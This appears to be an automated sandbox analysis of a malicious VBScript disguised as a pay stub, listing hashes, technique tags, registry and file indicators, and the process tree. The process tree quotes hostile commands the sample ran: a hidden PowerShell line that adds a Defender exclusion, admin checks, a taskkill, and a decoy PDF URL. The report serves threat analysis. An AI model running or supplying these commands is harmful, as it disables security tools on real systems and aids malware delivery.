d7a52f5ed6ada54a6b5e9f69004cde2465d9429c130b095abf740ae9d12bf766

Analysis

max time kernel
148s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
08/09/2026, 06:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PayStub.vbs
Size 2KB
Sample260908-hapc7sstbz
SHA256 d7a52f5ed6ada54a6b5e9f69004cde2465d9429c130b095abf740ae9d12bf766
MD5 83f29fbe3c23b195d6fb3c61831a8131
SHA1 24380beab383bc6ed3bbdd6924e5838bf4af0cbd
SHA512 d934e926bf0033d73d41f839a475e5a3e85930b6def496e0cd89f3fa0782827aada7149c55d7804ec4b8208b3768d8cfe45e7351606125022eb69cf34546fa61
TLSH
T10851401FFA0BD6B5C933DE9225A7AC1DC5E691446020C496FEE8C8D826147FDDBA804E
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2088	powershell.exe
2088	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4572	WScript.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\pt_PT\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\si\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\ms\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1794007440\protocols.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1769061262\office_endpoints_list.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1769061262\smart_switch_list.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\dasherSettingSchema.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\ka\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\ta\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\en\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\page_embed_script.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\iw\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\es_419\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\ko\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\am\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\gl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\da\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\eu\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\pt_BR\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\az\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\ru\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\pa\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\pl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\sk\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\lv\messages.json	msedge.exe
File created	C:\Program Files\msedge_url_fetcher_1100_130453632\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_109_1_0.crx	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\fr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\be\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\128.png	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_metadata\verified_contents.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\id\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\sr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\it\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\hu\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\mr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\zh_TW\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\offscreendocument_main.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\or\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\ml\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\tr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\cs\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\de\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\no\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1769061262\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\mk\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\bg\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\lo\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1769061262\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\af\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\fr_CA\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\en_GB\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\km\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\lt\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\et\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\en_US\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\th\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\fa\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\zh_CN\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\gu\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\fi\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\_locales\zu\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1100_1172683929\offscreendocument.html	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5336	cmd.exe
4560	cmd.exe
1744	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4952	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
2516	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134333227467368510"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3053180483-1881419501-3594244048-1000\{65ED476B-5A60-46B8-98FC-742D0A48796B}	msedge.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2088	powershell.exe
2088	powershell.exe
2088	powershell.exe
2892	msedge.exe
2892	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
1100	msedge.exe
1100	msedge.exe
1100	msedge.exe
1100	msedge.exe
1100	msedge.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2088	powershell.exe
Token: SeDebugPrivilege	2516	taskkill.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1100	msedge.exe

Suspicious use of WriteProcessMemory 50 IoCs

description	pid	Process	procid_target
PID 4572 wrote to memory of 5336	4572	WScript.exe	86
PID 5336 wrote to memory of 1808	5336	cmd.exe	88
PID 1808 wrote to memory of 5300	1808	net.exe	89
PID 4572 wrote to memory of 3512	4572	WScript.exe	90
PID 4572 wrote to memory of 4560	4572	WScript.exe	92
PID 3512 wrote to memory of 1100	3512	msedge.exe	94
PID 4560 wrote to memory of 5516	4560	cmd.exe	95
PID 5516 wrote to memory of 4784	5516	net.exe	96
PID 1100 wrote to memory of 4936	1100	msedge.exe	97
PID 4572 wrote to memory of 2088	4572	WScript.exe	98
PID 1100 wrote to memory of 4952	1100	msedge.exe	100
PID 1100 wrote to memory of 3508	1100	msedge.exe	101
PID 1100 wrote to memory of 3508	1100	msedge.exe	101
PID 1100 wrote to memory of 3508	1100	msedge.exe	101
PID 1100 wrote to memory of 908	1100	msedge.exe	103
PID 1100 wrote to memory of 908	1100	msedge.exe	103
PID 1100 wrote to memory of 4868	1100	msedge.exe	104
PID 1100 wrote to memory of 4868	1100	msedge.exe	104
PID 1100 wrote to memory of 4868	1100	msedge.exe	104
PID 1100 wrote to memory of 5568	1100	msedge.exe	105
PID 1100 wrote to memory of 5568	1100	msedge.exe	105
PID 1100 wrote to memory of 5568	1100	msedge.exe	105
PID 4572 wrote to memory of 1744	4572	WScript.exe	108
PID 1744 wrote to memory of 2516	1744	cmd.exe	110
PID 1100 wrote to memory of 2652	1100	msedge.exe	112
PID 1100 wrote to memory of 2652	1100	msedge.exe	112
PID 1100 wrote to memory of 2652	1100	msedge.exe	112
PID 4572 wrote to memory of 1956	4572	WScript.exe	113
PID 1100 wrote to memory of 5072	1100	msedge.exe	115
PID 1100 wrote to memory of 5072	1100	msedge.exe	115
PID 1100 wrote to memory of 5072	1100	msedge.exe	115
PID 1100 wrote to memory of 3848	1100	msedge.exe	116
PID 1100 wrote to memory of 2452	1100	msedge.exe	117
PID 1100 wrote to memory of 3848	1100	msedge.exe	116
PID 1100 wrote to memory of 2452	1100	msedge.exe	117
PID 1100 wrote to memory of 6060	1100	msedge.exe	119
PID 1100 wrote to memory of 4192	1100	msedge.exe	127
PID 1100 wrote to memory of 5952	1100	msedge.exe	128
PID 1100 wrote to memory of 3996	1100	msedge.exe	129
PID 1100 wrote to memory of 1120	1100	msedge.exe	130
PID 1100 wrote to memory of 1120	1100	msedge.exe	130
PID 1100 wrote to memory of 5028	1100	msedge.exe	131
PID 1100 wrote to memory of 5028	1100	msedge.exe	131
PID 1100 wrote to memory of 2820	1100	msedge.exe	139
PID 1100 wrote to memory of 2820	1100	msedge.exe	139
PID 1100 wrote to memory of 4444	1100	msedge.exe	144
PID 1100 wrote to memory of 4444	1100	msedge.exe	144
PID 1100 wrote to memory of 2892	1100	msedge.exe	145
PID 1100 wrote to memory of 3752	1100	msedge.exe	146
PID 1100 wrote to memory of 3752	1100	msedge.exe	146

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PayStub.vbs"
1⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net session >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5336
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1808
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5300
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://dodo-ten-alpha.vercel.app/payment-stub.pdf
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3512
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --edge-skip-compat-layer-relaunch --single-argument https://dodo-ten-alpha.vercel.app/payment-stub.pdf
    3⤵
    - Drops file in Program Files directory
    - Checks processor information in registry
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1100
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x25c,0x7ffaa0d2c188,0x7ffaa0d2c194,0x7ffaa0d2c1a0
      4⤵
      PID:4936
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1944,i,12957488805380635010,4040148948075675083,524288 --field-trial-handle=2296,i,14112399026625858897,6668929393610358056,262144 --variations-seed-version --mojo-platform-channel-handle=2336 /prefetch:3
      4⤵
      System Time Discovery
      PID:4952
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1744,i,7562248962170422325,5591220638166930103,262144 --field-trial-handle=2296,i,14112399026625858897,6668929393610358056,262144 --variations-seed-version --mojo-platform-channel-handle=2292 /prefetch:2
      4⤵
      PID:3508
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2380,i,7809371560353964825,3564361266062858282,524288 --field-trial-handle=2296,i,14112399026625858897,6668929393610358056,262144 --variations-seed-version --mojo-platform-channel-handle=2548 /prefetch:8
      4⤵
      PID:908
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3404,i,88918958215816794,6507367273976352213,2097152 --field-trial-handle=2296,i,14112399026625858897,6668929393610358056,262144 --variations-seed-version --mojo-platform-channel-handle=3436 /prefetch:1
      4⤵
      PID:4868
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3424,i,3127536337518821258,6380645832713614442,2097152 --field-trial-handle=2296,i,14112399026625858897,6668929393610358056,262144 --variations-seed-version --mojo-platform-channel-handle=3460 /prefetch:1
      4⤵
      PID:5568
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4948,i,15417758891088880282,2253716973186855538,2097152 --field-trial-handle=2296,i,14112399026625858897,6668929393610358056,262144 --variations-seed-version --mojo-platform-channel-handle=4932 /prefetch:2
      4⤵
      PID:2652
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=5108,i,479527719953578192,5318318578496654432,2097152 --field-trial-handle=2296,i,14112399026625858897,6668929393610358056,262144 --variations-seed-version --mojo-platform-channel-handle=3376 /prefetch:8
      4⤵
      PID:5072
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5344,i,8807414640552943294,3140093990637338848,524288 --field-trial-handle=2296,i,14112399026625858897,6668929393610358056,262144 --variations-seed-version --mojo-platform-channel-handle=5080 /prefetch:8
      4⤵
      PID:3848
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5324,i,6897773205836008400,9998257228689905034,524288 --field-trial-handle=2296,i,14112399026625858897,6668929393610358056,262144 --variations-seed-version --mojo-platform-channel-handle=5400 /prefetch:8
      4⤵
      PID:2452
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6096,i,3822664310267635837,14907400397368347533,524288 --field-trial-handle=2296,i,14112399026625858897,6668929393610358056,262144 --variations-seed-version --mojo-platform-channel-handle=6120 /prefetch:8
      4⤵
      PID:1528
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6096,i,3822664310267635837,14907400397368347533,524288 --field-trial-handle=2296,i,14112399026625858897,6668929393610358056,262144 --variations-seed-version --mojo-platform-channel-handle=6120 /prefetch:8
      4⤵
      PID:6060
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6632,i,2338749318567526727,8911241529255194789,524288 --field-trial-handle=2296,i,14112399026625858897,6668929393610358056,262144 --variations-seed-version --mojo-platform-channel-handle=6640 /prefetch:8
      4⤵
      PID:4192
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6200,i,7203935379811534243,17303357098549251814,524288 --field-trial-handle=2296,i,14112399026625858897,6668929393610358056,262144 --variations-seed-version --mojo-platform-channel-handle=6636 /prefetch:8
      4⤵
      PID:5952
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6188,i,18406461650513527606,8833663100059097075,524288 --field-trial-handle=2296,i,14112399026625858897,6668929393610358056,262144 --variations-seed-version --mojo-platform-channel-handle=6680 /prefetch:8
      4⤵
      PID:3996
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6588,i,1102058052262454661,2625580261159094411,524288 --field-trial-handle=2296,i,14112399026625858897,6668929393610358056,262144 --variations-seed-version --mojo-platform-channel-handle=556 /prefetch:8
      4⤵
      PID:1120
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6200,i,15617533581875638059,421728305687727067,524288 --field-trial-handle=2296,i,14112399026625858897,6668929393610358056,262144 --variations-seed-version --mojo-platform-channel-handle=6728 /prefetch:8
      4⤵
      PID:5028
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5616,i,5880953221316174298,1868627214414071567,524288 --field-trial-handle=2296,i,14112399026625858897,6668929393610358056,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:8
      4⤵
      PID:2820
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=780,i,2342787659977121011,8052127732367692996,524288 --field-trial-handle=2296,i,14112399026625858897,6668929393610358056,262144 --variations-seed-version --mojo-platform-channel-handle=5628 /prefetch:8
      4⤵
      PID:4444
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5720,i,18055141265059847854,9166755496010025042,262144 --field-trial-handle=2296,i,14112399026625858897,6668929393610358056,262144 --variations-seed-version --mojo-platform-channel-handle=6788 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2892
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5956,i,5765008976244068396,11763544839664640021,524288 --field-trial-handle=2296,i,14112399026625858897,6668929393610358056,262144 --variations-seed-version --mojo-platform-channel-handle=5484 /prefetch:8
      4⤵
      PID:3752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net session >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4560
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5516
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:4784
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData' -EA SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /F /IM agent.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1744
